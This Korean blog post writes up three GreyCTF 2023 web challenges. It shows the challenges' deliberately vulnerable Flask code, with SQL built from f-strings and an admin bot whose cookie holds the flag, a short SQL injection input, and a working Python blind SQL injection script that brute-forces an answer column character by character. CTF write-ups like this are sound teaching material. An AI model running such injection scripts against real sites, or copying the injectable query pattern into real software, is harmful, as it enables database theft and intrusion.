[CTF] GreyCTF'23 write up

2023. 5. 22. 19:59정보보안/CTFLOG

반응형

warm up 문제이다.

 

f12후에 source에 2개로 나뉘어 있었다.

grey{St3p_1_of_b4by_W3b}

 


해당 문제의 파일을 다운 받아보면

from flask import Flask, render_template, request
import sqlite3

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    qn_id, ans= request.args.get("qn_id", default="1"), request.args.get("ans", default="")

    # id check, i don't want anyone to pollute the inputs >:(
    if not (qn_id and qn_id.isdigit() and int(qn_id) >= 1 and int(qn_id) <= 100):
        # invalid!!!!!
        qn_id = 1
    
    # get question
    db = sqlite3.connect("database.db")
    cursor = db.execute(f"SELECT Question FROM QNA WHERE ID = {qn_id}")
    qn = cursor.fetchone()[0]

    # check answer
    cursor = db.execute(f"SELECT * FROM QNA WHERE ID = {qn_id} AND Answer = '{ans}'")
    result = cursor.fetchall()
    correct = True if result != [] else False

    return render_template("index.html", qn_id=qn_id, qn=qn, ans=ans, correct=correct)

if __name__ == "__main__":
    app.run()

언뜻 봐선 파일에 이 코드가 있는데 일단 100개의 질문에 일치하는 답을 풀어야 flag를 얻을 수 있어보인다.

하지만 sqlite3를 사용하고 폴더에 db파일도 제공하고 있다.

따라서 sql injection 문제라고 생각했고, ans에 1=1' or 1 # 를 넣어서 100번까지 풀어본 결과 문제 번호가 100이 초과되면

다시 1번 문제로 돌아왔다.

 

이후 제공 된 db파일을 열어서 확인해 보았다.

42번 문제의 answer컬럼에서 값이 지워진채로 제공되어졌다.

따라서 42번에서 blind sql injection을 수행했다.

 

import requests

url = 'http://34.126.139.50:10514/'
flag = ""

characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{/}_!@#$%^&*()`~;:"
num = 1
while True:
    for i in characters:
        payload = ("?qn_id=42&ans=1' union select 1,2,3 from QNA where substr((select Answer from QNA where id = 42),{},1)='{}'--").format(num,i)

        res = requests.get(url + payload)
        #print(res.text,payload)
        if "Correct!" in res.text:
            flag += i
            num += 1
            print(flag)
    print("Flag:", flag)

 

grey{1_c4N7_533}


from flask import Flask, request, render_template, redirect, flash
from adminbot import visit
from urllib.parse import quote

app = Flask(__name__)

BASE_URL = "http://localhost:5000/"


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == "GET":
        return render_template('index.html')
    
    message = request.form.get('message')
    if len(message) == 0:
        flash("Please enter a message")
        return render_template('index.html')

    link = f"/ticket?message={quote(message)}"

    # Admin vists the link here
    visit(BASE_URL, f"{BASE_URL}{link}")

    return redirect(link)


@app.route('/ticket', methods=['GET'])
def ticket_display():
    message = request.args.get('message')
    return render_template('ticket.html', message=message)

우리가 메세지를 작성하고 버튼을 클릭하면

from selenium import webdriver
from constants import COOKIE
import multiprocessing
from webdriver_manager.chrome import ChromeDriverManager

options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--incognito")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--no-sandbox")

def visit(baseUrl: str, link: str) -> str:
    """Visit the website"""
    p = multiprocessing.Process(target=_visit, args=(baseUrl, link))
    p.start()
    return f"Visiting {link}"

def _visit(baseUrl:str, link: str) -> str:
    """Visit the website"""
    with webdriver.Chrome(ChromeDriverManager().install(), options=options) as driver:
        try:
            driver.get(f'{baseUrl}/')
            cookie = {"name": "flag", "value": COOKIE["flag"]}
            driver.add_cookie(cookie)
            driver.get(link)
            return f"Visited {link}"
        except:
            return f"Connection Error: {link}"

이 admin.py 코드에서 admin봇이 글을 확인하는 것을 알수가 있다.

따라서 xss로 해결하였다.

 

grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c}

반응형

'정보보안 > CTFLOG' 카테고리의 다른 글

[CTF] SECCON Beginners 2023  (0) 2023.06.04
[CTF] DEFCON31 Quals  (0) 2023.05.29
[CTF] LINE CTF 2023 - old pal  (0) 2023.03.26
[CTF] LINE CTF 2023 - baby simple go url  (0) 2023.03.26
[CTF] B01ler_ctf - voidciphr  (0) 2023.03.20